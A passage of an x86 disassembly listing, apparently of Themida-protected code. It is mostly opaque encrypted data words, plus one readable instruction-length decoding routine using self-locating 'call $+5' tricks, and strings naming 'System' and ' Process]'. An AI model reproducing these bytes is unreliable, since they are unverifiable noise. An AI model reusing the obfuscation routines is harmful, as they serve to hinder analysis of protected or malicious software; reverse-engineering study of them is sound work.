		dd 683EE4D8h, 1CE48A10h, 446531DAh, 883667F3h, 30653308h
		dd 3D18B2B0h, 0ADE8318Fh, 36709122h, 683EE4D8h,	94A7B6F5h
		dd 33EF38BAh, 3F6537E4h, 0DAE4C0CDh, 73EB9646h,	153288FAh
		dd 0D6D0F7C5h, 0B2B5AAAAh, 876A318Bh, 0BEE0BA03h, 3F632F8Fh
		dd 306533FBh, 30DF5139h, 0D9B5C86Ch, 30653749h,	2933A712h
		dd 3BBB14CAh, 0B9E13809h, 566537E4h, 2B41D0F3h,	7FE8AAB4h
		dd 300F318Fh, 3066DF18h, 6E453727h, 44EC6950h, 74E433EDh
		dd 307833C0h, 66233772h, 0FBBDB3FAh, 0F9BC9A10h, 3FF508D8h
		dd 30653AACh, 306DDE93h, 6C0337C9h, 687700C9h, 33DD1C14h
		dd 5A653739h, 338D679Ch, 1065374Eh, 0B93DF47Fh,	0B16113D7h
		dd 2461138Dh, 706537E4h, 0CF81F422h, 67655DDAh,	30653474h
		dd 0F33A174Eh, 1419BE78h, 1421B697h, 30652CCDh,	0F33270E4h
		dd 0DEB290A9h, 9BA8555Ah, 0B2BDAA11h, 0C6E53156h, 0BEE0BA13h
		dd 56632FF8h, 0FE48F048h, 208CE71Bh, 0D8653772h, 611F79D7h
		dd 35C3B2CFh, 0E60C2B24h, 3BED23A0h, 1FE13853h,	0B06537C9h
		dd 0ADE87925h, 367678FFh, 0C2EE5159h, 3066BF93h, 876A374Eh
		dd 31DD56E4h, 0D9653793h, 306537C3h, 773FFF47h,	32675771h
		dd 0D39A9E65h, 0ADE8C917h, 367DB593h, 0D837374Dh, 30653790h
		dd 6AA66DE9h, 3441636Dh, 344173F3h, 30653725h, 0B4A665DEh
		dd 0B328021Fh, 28AED330h, 0BEE0BA6Bh, 0D8632FA2h, 306537E1h
		dd 0C6448F74h, 6AFA8603h, 300FE763h, 3066DF1Bh,	6D453727h
		dd 5CEC6A50h, 74E433EDh, 307C33C0h, 65203772h, 52CA9CFAh
		dd 3FD78FBDh, 306524C5h, 306BDE27h, 0F2303793h,	6779CF13h
		dd 372E379Bh, 1D448677h, 0F3EE5159h, 0CD272F23h, 0F06E562Fh
		dd 301EB328h, 0BB033793h, 0BDF8BA39h, 0D86324ABh, 3065377Ch
		dd 99BB30C7h, 327B42D5h, 26427C2Eh, 17DB4D68h, 6A0EC90Bh
		dd 30653471h, 63655DE4h, 3065349Ah, 0F33E1739h,	1439BEC7h
		dd 1421B64Ah, 30652A23h, 0F3367493h, 64EC48DFh,	74EE4059h
		dd 218DD18Bh, 6D653739h, 0ADEFF16h, 0C6D943EBh,	20A9F088h
		dd 0A453CEE7h, 699E80C6h, 5005D41Bh, 3065B87Dh,	8A033739h
		dd 5604E5F2h, 3F55E8CFh, 0DEDC7446h, 0BD6529D2h, 28E7F174h
		dd 39E8BAE2h, 88632FF5h, 0BA2E6B44h, 2BF0B2AFh,	0FF4E315Dh
		dd 0B2BDAA11h, 0C6E53156h, 0BEE0BA13h, 56632FF8h, 0FE48F048h
		dd 208CE71Bh, 83653772h, 0A4F305E9h, 0DDBAC08Bh, 6A1BB723h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0B3ACC357h, 928BA51Bh, 8FB1A1B3h,	8166C38Bh
		dd 8BF9C6D2h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 3FBE563Fh, 8BF7EC08h, 25BD83F8h
		dd 61316h, 0BD830975h, 6132C81h, 50197400h, 0B8C08B53h
		dd 47Ah, 31158589h, 9D8D0613h, 615A9E4h, 585BD3FFh, 2C81BD83h
		dd 74000613h, 0B8535017h, 47Ah,	31158589h, 9D8D0613h, 615A685h
		dd 585BD3FFh, 80F9BF0Fh, 8E0F82CEh, 3, 8BC88B66h, 266E9C0h
		dd 66600000h, 0C1F6D98Ch, 35840F04h, 6A000000h,	6DB5FF01h
		dd 8D061311h, 167C3385h, 89D0FF06h, 13281585h, 0C1FE8B06h
		dd 680CEFh, 6A200600h, 57026A00h, 1000D68h, 1595FF00h
		dd 0E9061328h, 32h, 11E185C6h, 68560613h, 0A9C530DFh, 1EE9B5FFh
		dd 858D0613h, 6167C33h,	8589D0FFh, 613122Dh, 29FD858Dh
		dd 6A500613h, 56056A40h, 122D95FFh, 0C3610613h,	3 dup(0)
		dd 60D48B52h, 8908428Bh, 18885E85h, 0C428B06h, 88568589h
		dd 428B0618h, 5A858910h, 8D061888h, 188894B5h, 0A1858D06h
		dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 618885Eh, 8856858Bh
		dd 0BD830618h, 618885Ah, 7840F00h, 89000000h, 2E906h, 6880000h
		dd 0CFh, 0
		dd 0D48B5200h, 8428B60h, 885E8589h, 0B58D0618h,	61888E5h
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 618885Eh, 8B0004C2h
		dd 18885E85h, 89008B06h, 18885E85h, 0CF06h, 89600000h
		dd 1888BBB5h, 0B7858906h, 8D061888h, 13065D85h,	44408B06h
		dd 88F48589h, 0B58D0618h, 618892Ah, 8EA1858Dh, 0D0FF005Bh
		dd 0BB858B61h, 0C3061888h, 88B79D8Bh, 0B70F0618h, 0D8033C43h
		dd 3785B8Bh, 1888B79Dh,	24738B06h, 88B7B503h, 8B560618h
		dd 738B207Bh, 0B7BD031Ch, 3061888h, 1888B7B5h, 0C983FC06h
		dd 9D8B41FFh, 61888BBh,	9503178Bh, 61888B7h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 61888B7h,	88BB8589h, 0F08B0618h, 0C18BCE8Bh
		dd 88F4BD81h, 618h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
		dd 12E8C100h, 3FF825h, 0F4BD8B00h, 83061888h, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 88F4BD81h, 618h
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 0F4BD8100h, 61888h, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 8862858Dh, 85890618h, 61321F9h
		dd 88F8858Dh, 85890618h, 61315D9h, 88BF858Dh, 85890618h
		dd 6130BB1h, 8B878D8Dh,	6A0618h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 1FF9FFC3h, 13E957A9h
		dd 0E0000000h, 0C074CB6h, 0A008D39Fh, 6C3AD078h, 97D7163Fh
		dd 895B2EB9h, 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 5FB06FB1h, 81958B60h
		dd 2906132Bh, 130AC5B5h, 958B6106h, 6132C59h, 18DD85C7h
		dd 60EC0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 9352F0C3h, 0C812C735h, 0DA816653h
		dd 0BD8BE59Ch, 6132449h, 305585C7h, 613h, 12E90000h, 74000000h
		dd 0F0DC1194h, 0A0E641CDh, 1106ABF6h, 936DF13Eh, 31B5FF3Eh
		dd 0E9061328h, 0Ah, 57BC6330h, 4003671Fh, 95FF5B17h, 6131D89h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 12C35040h
		dd 5B603283h, 1E30AAB9h, 1D7D958Bh, 6A0613h, 0DA995FFh
		dd 0C08B0613h, 9232FEBh, 0D1492DC6h, 4834CF2h, 9DD0919Eh
		dd 0F9F152AEh, 0AA4E1E89h, 2D61B60Fh, 5199ECAAh, 0CD5A8F0h
		dd 0C137A2C5h, 43FF39F9h, 487C0E71h, 1C8E95Ah, 88880000h
		dd 7 dup(88880041h), 41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 8C20000h, 75746600h,	0FE80h,	11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6188D93h, 0E085C760h
		dd 6188Ch, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6188CE4h
		dd 6, 24E9h, 0E8858D00h, 5006188Ch, 8D38858Dh, 56500618h
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	188CE485h
		dd 0B5036106h, 6188CE4h, 8CE0858Bh, 0C35D0618h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5D50E9
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5D50F5
; ---------------------------------------------------------------------------


loc_5D50E9:				; CODE XREF: Themida_:005D50D2j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5D50F5:				; CODE XREF: Themida_:005D50E4j
		push	ebx
		push	esi
		push	edi


loc_5D50F8:				; CODE XREF: Themida_:005D514Dj
					; Themida_:005D5169j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5D510B:				; CODE XREF: Themida_:005D5132j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6188E4Ah
		lea	ebp, [ebp+6188CC0h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5D5138
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5D510B


loc_5D5138:				; CODE XREF: Themida_:005D5127j
		cmp	cl, 0Bh
		jz	loc_5D5195
		cmp	al, 66h
		jnz	loc_5D5176
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5D50F8
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5D516E
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5D50F8
; ---------------------------------------------------------------------------


loc_5D516E:				; CODE XREF: Themida_:005D515Bj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5D5176:				; CODE XREF: Themida_:005D5143j
		cmp	al, 67h
		jnz	loc_5D50F8
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5D50F8
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5D50F8
; ---------------------------------------------------------------------------


loc_5D5195:				; CODE XREF: Themida_:005D513Bj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5D51C1
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5D51C6
; ---------------------------------------------------------------------------


loc_5D51C1:				; CODE XREF: Themida_:005D51A0j
		movzx	edi, al
		shr	edi, 1


loc_5D51C6:				; CODE XREF: Themida_:005D51BCj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6188F02h
		lea	ebp, [ebp+6188BC0h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5D5348
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5D528C
		dec	ecx
		jz	loc_5D526F
		dec	ecx
		jnz	loc_5D52DF
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D52DB
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D524E
		mov	byte ptr [ebp+0Bh], 2


loc_5D524E:				; CODE XREF: Themida_:005D5244j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6188F8Eh
		mov	dword ptr [ebp+6188CE0h], 1
		pop	ebp
		jmp	loc_5D52DF
; ---------------------------------------------------------------------------


loc_5D526F:				; CODE XREF: Themida_:005D5229j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D52B9
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D52B9
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5D52B9
; ---------------------------------------------------------------------------


loc_5D528C:				; CODE XREF: Themida_:005D5222j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D52D2
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D52C1
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5D52B9
		mov	[ebp+0Bh], cl


loc_5D52B9:				; CODE XREF: Themida_:005D5273j
					; Themida_:005D527Dj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5D52DF
; ---------------------------------------------------------------------------


loc_5D52C1:				; CODE XREF: Themida_:005D529Aj
		cmp	dl, 5
		jnz	loc_5D52DF
		mov	[ebp+0Bh], dl
		jmp	loc_5D52DF
; ---------------------------------------------------------------------------


loc_5D52D2:				; CODE XREF: Themida_:005D5290j
		cmp	dl, 6
		jnz	loc_5D52DF


loc_5D52DB:				; CODE XREF: Themida_:005D523Aj
		mov	byte ptr [ebp+0Bh], 3


loc_5D52DF:				; CODE XREF: Themida_:005D5230j
					; Themida_:005D526Aj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5D530D
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5D52EF:				; CODE XREF: Themida_:005D5305j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5D52EF
		mov	esi, edx


loc_5D530D:				; CODE XREF: Themida_:005D52E2j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5D5342
		cmp	edi, 7Fh
		ja	loc_5D5342
		test	bl, 38h
		jnz	loc_5D5342
		cmp	byte ptr [ebp-7], 0
		jz	loc_5D533C
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5D533F
; ---------------------------------------------------------------------------


loc_5D533C:				; CODE XREF: Themida_:005D532Dj
		push	1
		pop	eax


loc_5D533F:				; CODE XREF: Themida_:005D5337j
		mov	[ebp-1], al


loc_5D5342:				; CODE XREF: Themida_:005D5311j
					; Themida_:005D531Aj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5D5348:				; CODE XREF: Themida_:005D51F2j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5D5373
		dec	eax
		dec	eax
		jz	loc_5D5369
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5D537B
; ---------------------------------------------------------------------------


loc_5D5369:				; CODE XREF: Themida_:005D5358j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5D5378
; ---------------------------------------------------------------------------


loc_5D5373:				; CODE XREF: Themida_:005D5350j
		mov	al, [ebp-3]
		add	al, 4


loc_5D5378:				; CODE XREF: Themida_:005D536Ej
		add	[ebp-1], al


loc_5D537B:				; CODE XREF: Themida_:005D5364j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5D53A3
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5D538E:				; CODE XREF: Themida_:005D539Dj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5D538E


loc_5D53A3:				; CODE XREF: Themida_:005D5383j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 858Dh
		dd 6188D8Dh, 21918589h,	8D8D0613h, 61891D6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0BAC35040h, 231E7B33h
		dd 13227D9Dh, 0BD8D8906h, 906131Bh, 1304CD95h, 0DD85C706h
		dd 38061318h, 0C700006Fh, 13305585h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 1F5D1B0Bh, 0FD5592EDh, 8E92827h, 0B0000000h,	2E049393h
		dd 0B1C6E24h, 1325C5BDh, 6B0BF06h, 0B5FF55D1h, 6130ED5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4BC35343h
		dd 29093CF6h, 8BE49E61h, 131611BDh, 8995FF06h, 6A06131Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0BDA7C353h, 890FD080h, 1307F5BDh,	0FF006A06h
		dd 130DA995h, 0EBC08B06h, 1AF600Fh, 9B533F4Fh, 1FEC904Bh
		dd 95D0D9A2h, 83F5C08Bh, 131625BDh, 9750006h, 2C81BD83h
		dd 74000613h, 8B535019h, 3FCB8C0h, 85890000h, 6130D7Dh
		dd 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h, 50177400h
		dd 3FCB853h, 85890000h,	6130D7Dh, 0A66C9D8Dh, 0D3FF0615h
		dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0BF3290C3h, 0FB9372Ah, 6AD6BFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 85E093C3h
		dd 7B027D5h, 0D7CB8190h, 8B2E0ADEh, 0CA8166D1h,	0C08BFEA6h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E8C35343h
		dd 0B736E594h, 3DBD8380h, 1061317h, 7C840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 217CDDC3h, 4C549212h, 0D9B70F5Dh, 12A5BD83h,	0F000613h
		dd 4985h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 83BC564Dh, 131F95BDh, 840F0006h
		dd 43h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
		dd 91C35343h, 55E931B6h, 0F000003h, 0D2B7h, 0E8600000h
		dd 6, 0A44B3F77h, 0BB663C24h, 8B5AFFD3h, 0F6BB61D3h, 0C31A16C2h
		dd 3F265C00h, 0C4B5D8B3h, 0C9B5B15Dh, 27EA92B5h, 56C93BEAh
		dd 1DF133B1h, 9CB5A8B1h, 8DE2F5B5h, 23823DCFh, 1E15EDE7h
		dd 0DFF13130h, 0E4A55AB3h, 35BFB2B5h, 2C37DDC6h, 0B1813F71h
		dd 0A483654Ah, 0ACD3D90Bh, 434AE865h, 21E7B2DFh, 0E4B5B2B6h
		dd 2876E895h, 3D91E63Ch, 9891F634h, 4EB5B2A9h, 3C76E0F7h
		dd 64AD9853h, 0DD6C5C78h, 0D8E6435h, 72B5B638h,	315CD2D5h
		dd 31B5B2B5h, 78189163h, 282FE695h, 93B5B23Ah, 0D00AD3B5h
		dd 85AE9F5Ch, 72B55AE0h, 0B8E8B2B5h, 84264658h,	2E6639B3h
		dd 46D56A35h, 93DF723Eh, 0C9B65AE2h, 0BB95B2B5h, 0E3CED76h
		dd 7D34B691h, 9CAEB691h, 19F2B2B5h, 7D1E7876h, 2FF9B70Dh
		dd 0C9BF5BDBh, 6E2FB2B5h, 0CAA9391Ah, 9AA38152h, 0C3E009D3h
		dd 0F7D3D2E5h, 295C1521h, 0BFB5B2B5h, 0F15AA0B9h, 2F05093Bh
		dd 303EC791h, 3D3CD387h, 17D3E191h, 4FBAE864h, 0AC4B96F9h
		dd 93DFEA62h, 0C9B65AE7h, 0BE95B2B5h, 263CE876h, 7D34B691h
		dd 9CADB691h, 1CF7B2B5h, 0B6214676h, 9FB0203Bh,	0C6B5B2B7h
		dd 0EC3E650Ah, 72BC5AE4h, 0D50AB2B5h, 250261E9h, 2862D83Bh
		dd 916D5834h, 955CE8EFh, 56B5B2B5h, 9745B0BBh, 3A3ED493h
		dd 0E235D249h, 4C3ED4FEh, 0F64838D4h, 27B5B2B4h, 7BE3B2DFh
		dd 0C9B5B2B6h, 0BA76EC95h, 7691C63Ch, 3D91F634h, 9CB5B2AFh
		dd 0EB76E4F3h, 9BAE8E7Dh, 7BE41F1Ah, 0C9B5B2BEh, 0A9DC73Eh
		dd 6C7C633Bh, 8B8DE1BBh, 75EEE8E5h, 4EB5B2A4h, 0E638993Ch
		dd 39844DC2h, 5FE67E4Dh, 25AA1364h, 0E86E33A4h,	0A8A3DADDh
		dd 523ED4D5h, 0B50ED4D5h, 46630724h, 7AD5E2D4h,	0C9B5B2A5h
		dd 0EBD958F9h, 0BFB48FEDh, 8049667Dh, 36B3E0E0h, 16D4D2E2h
		dd 27DF23D4h, 93B65AE6h, 9295B2B5h, 0B83CE976h,	3634B691h
		dd 39ADB691h, 0CFF6B2B5h, 397F8776h, 2F5DAD8Bh,	99B5B2B5h
		dd 0FED7AFCAh, 0EB1EB5B4h, 14EE610Ah, 39DF6B39h, 9CB65AE7h
		dd 1495B2B5h, 733CE876h, 0D734B691h, 0C9ACB691h, 0B6F7B2B5h
		dd 2BD8B576h, 0CF6DCD6Ah, 19BAB674h, 4EB5B267h,	215C653Eh
		dd 19B5B2B5h, 0FC0AB101h, 0EF5CEBFEh, 0B9B5B2B5h, 99456B37h
		dd 0BFFD1925h, 7735BF4Ah, 0EC30BDDDh, 13B5B2B5h, 0B03EB26Bh
		dd 0B6B5D8B4h, 72B5B15Dh, 0FAEF92B5h, 0B8E13BEFh, 6AF133B1h
		dd 27B5A7B1h, 50E7F0B5h, 0D85CCB15h, 6B5B2B5h, 0F809BA5Ah
		dd 0F752FF64h, 0C3888455h, 97790CD0h, 27B54D34h, 11BA32B5h
		dd 0C9B5B233h, 0CE7B2DFh, 72B5B2B6h, 6376E895h,	9891E63Ch
		dd 4A91F634h, 27B5B2A2h, 0F176E0F7h, 0EDA4C74h,	0FC26F230h
		dd 72B5B3B3h, 884732B5h, 9CB5E55Ch, 483FBDB5h, 0A6B5B2B5h
		dd 279CF376h, 0C9F15BC8h, 0E4DFB2B5h, 72B65AE4h, 6095B2B5h
		dd 0D03CEB76h, 0A34B691h, 27A9B691h, 0C2F4B2B5h, 9EC43876h
		dd 2E2BFD4Fh, 0F9EC1CD7h, 4036D464h, 18BA4DBEh,	4EB5B2A7h
		dd 2E265834h, 1672D642h, 0CFAD21F5h, 0E4B5B2B4h, 8EFD1E07h
		dd 0D9B6690Ch, 32303F82h, 0C3B3AA2Dh, 3F231C08h, 0E74D89B3h
		dd 18BA82B2h, 115EF57Ch, 9AE3B2DFh, 39B5B2B6h, 0C276EC95h
		dd 4A91C63Ch, 2391F634h, 93B5B2A8h, 0FA76E4F3h,	722FEB9Bh
		dd 7D64EEFFh, 0E63ED442h, 74E6B2DFh, 4EB5B2B6h,	7C76E995h
		dd 9791EE3Ch, 0CD91F634h, 0E4B5B2A3h, 0BC76E1F6h, 0D1D5D72Ah
		dd 9CB5B2A6h, 37CBC41h,	6C6E99FAh, 0D87236E5h, 0F4CDD1B9h
		dd 82D48654h, 2885730Dh, 39A131BAh, 935CB2B5h, 67B5B2B5h
		dd 19D8D889h, 4C1E400h,	3A88F099h, 67D4E4A6h, 61A28F08h
		dd 0BDBAB3B3h, 9CB5B239h, 0EA4733D3h, 213CBDF4h, 12B5B2B5h
		dd 0BBB8436Fh, 41083197h, 72B3A1A7h, 39DB37BAh,	9CDFB2B5h
		dd 4EB65AE5h, 7F95B2B5h, 0D73CEA76h, 8D34B691h,	0E4ACB691h
		dd 22F5B2B5h, 0E7760576h, 1C0537B8h, 0A8353772h, 0B20831A8h
		dd 93B3A1AAh, 0C9E436BAh, 0E4DFB2B5h, 72B65AE6h, 6295B2B5h
		dd 0C03CE976h, 0A34B691h, 27A0B691h, 0C0F6B2B5h, 208C8676h
		dd 0E4B5B2B3h, 0C2D63699h, 345C9596h, 7AB5B2B5h, 29D3AE6Ch
		dd 0F1333A25h, 54A5463h, 0C9B5265Ch, 0E4B95AB5h, 2DB9B2B5h
		dd 0E3E7ACFh, 3BFB7785h, 0CDEE6165h, 34A28F08h,	16BAB3B3h
		dd 0C9B5B2D2h, 0CE3B2DFh, 72B5B2B6h, 6776EC95h,	9891C63Ch
		dd 4A91F634h, 27B5B2AEh, 0C076E4F3h, 0B3719EF4h, 6FAD7E7Ah
		dd 1702EF6Dh, 0D0493876h, 9CB5B2F0h, 0A6E7B2DFh, 27B5B2B6h
		dd 0C976E895h, 0CD91E63Ch, 0E091F634h, 72B5B2A8h, 76E0F7h
		dd 42CE41B0h, 0AE7A6C40h, 2B3BBD94h, 9CB5B2B5h,	0C9B5B438h
		dd 716633B5h, 2FFD41F4h, 0E90ABDE3h, 19BA7DEFh,	4EB5B2B4h
		dd 7A083F4Dh, 1EB3AA26h, 0D12DC938h, 0B8A80AB3h, 0F786C98Fh
		dd 3FA6A5B8h, 0C747D9Eh, 82D9B669h, 2D32303Fh, 8C3B3AAh
		dd 0B33F231Ch, 0B2E74D89h, 7C18BA82h, 5E983F5h,	0BD83A4F3h
		dd 6189340h, 8D0D7400h,	134F8D8Dh, 1B806h, 0E1FF0000h
		dd 50006A40h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0F45D6EC7h, 0C9EB927h, 860FA844h, 0Eh, 6E850h
		dd 448A0000h
		dd 4DDE831Eh, 0D88B5B5Ah, 6A2DE883h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 645FC350h
		dd 0C370B4A1h, 0FC70F21h, 584h,	0A73BBA00h, 0C08B4AC8h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 15C35545h
		dd 0F596949h, 58Ah, 6A2ABB00h, 0BA662897h, 0BD834CAEh
		dd 6131625h, 83097500h,	132C81BDh, 19740006h, 0C08B5350h
		dd 3FCB8h, 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h
		dd 81BD8358h, 6132Ch, 53501774h, 3FCB8h, 15858900h, 8D061331h
		dd 15A6859Dh, 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 60C9CD08h, 2BDE8166h
		dd 8E823h, 4FCF0000h, 2DB8B21Dh, 0C28176FBh, 7EFA2A3Bh
		dd 0D88A615Fh, 7E9h, 4C5F0E00h,	504F4CFEh, 9785BB66h, 8D8DC08Bh
		dd 6189AB8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	74C35141h, 970E9A21h, 14E93F16h, 0AA000000h, 0F6DCEF76h
		dd 2597738Fh, 605B395Dh, 0F677F22Ah, 89D8AB80h,	131BBD8Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0C8E699DBh, 0C7F6BF0Fh, 1318DD85h, 5CE406h
		dd 0E1858900h, 0C706130Bh, 13305585h, 6, 5E800h, 3D6C0000h
		dd 8963ACCDh, 1325D985h, 0B5FF5B06h, 6132101h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 2AC35242h, 9D094872h
		dd 6131131h, 1D8995FFh,	0EE800613h, 9958983h, 6A06131Eh
		dd 0A995FF00h, 8B06130Dh, 4138EBC0h, 9565247Bh,	18BFF09Eh
		dd 0CB185E72h, 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h
		dd 0C6F8546Eh, 1C8D1CEEh, 0BEAC92DAh, 0E98A8435h, 0DF25C916h
		dd 801BB06Bh, 0E951A426h, 15Ch,	4DD6EB47h, 84386A8Ch, 4CC44EAAh
		dd 0B195AACh, 521254B5h, 0B1154BFh, 521A5A30h, 3B31734Eh
		dd 52632666h, 0D0987278h, 9C9CC654h, 5224B480h,	52551601h
		dd 128h, 0
		dd 4, 2	dup(0)
		dd 33h,	0
		dd 8, 0
aSystem		db 'System',0
aProcess	db ' Process]',0
		align 10h
		dd 3Ch dup(0)
